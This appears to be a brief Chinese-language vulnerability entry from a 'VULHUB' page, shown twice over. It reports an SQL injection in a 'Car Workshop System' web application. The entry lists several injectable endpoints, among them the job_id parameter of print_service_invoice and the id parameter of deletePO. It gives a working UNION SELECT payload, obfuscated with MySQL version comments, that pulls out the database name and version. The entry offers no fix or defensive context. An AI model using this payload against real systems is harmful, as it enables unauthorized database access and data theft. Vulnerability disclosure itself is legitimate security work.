VULHUB ™

Car Workshop System - SQL Injection Car Workshop System ，存在参数过滤不严，导致了sql注入漏洞，如果对方服务器开启了错误显示，可直接利用 Google Dork: N/A 注入点： http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL] # purchase_order/deletePO?id= # technician_services/tech_opened_services_view?job_id= # technician_services/tech_drew_out_inventory_services_view?job_id= # technician_services/tech_completed_services_view?job_id= payload： 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+- 测试截图：  PoC验证： 

Car Workshop System - SQL Injection Car Workshop System ，存在参数过滤不严，导致了sql注入漏洞，如果对方服务器开启了错误显示，可直接利用 Google Dork: N/A 注入点： http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL] # purchase_order/deletePO?id= # technician_services/tech_opened_services_view?job_id= # technician_services/tech_drew_out_inventory_services_view?job_id= # technician_services/tech_completed_services_view?job_id= payload： 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+- 测试截图：  PoC验证：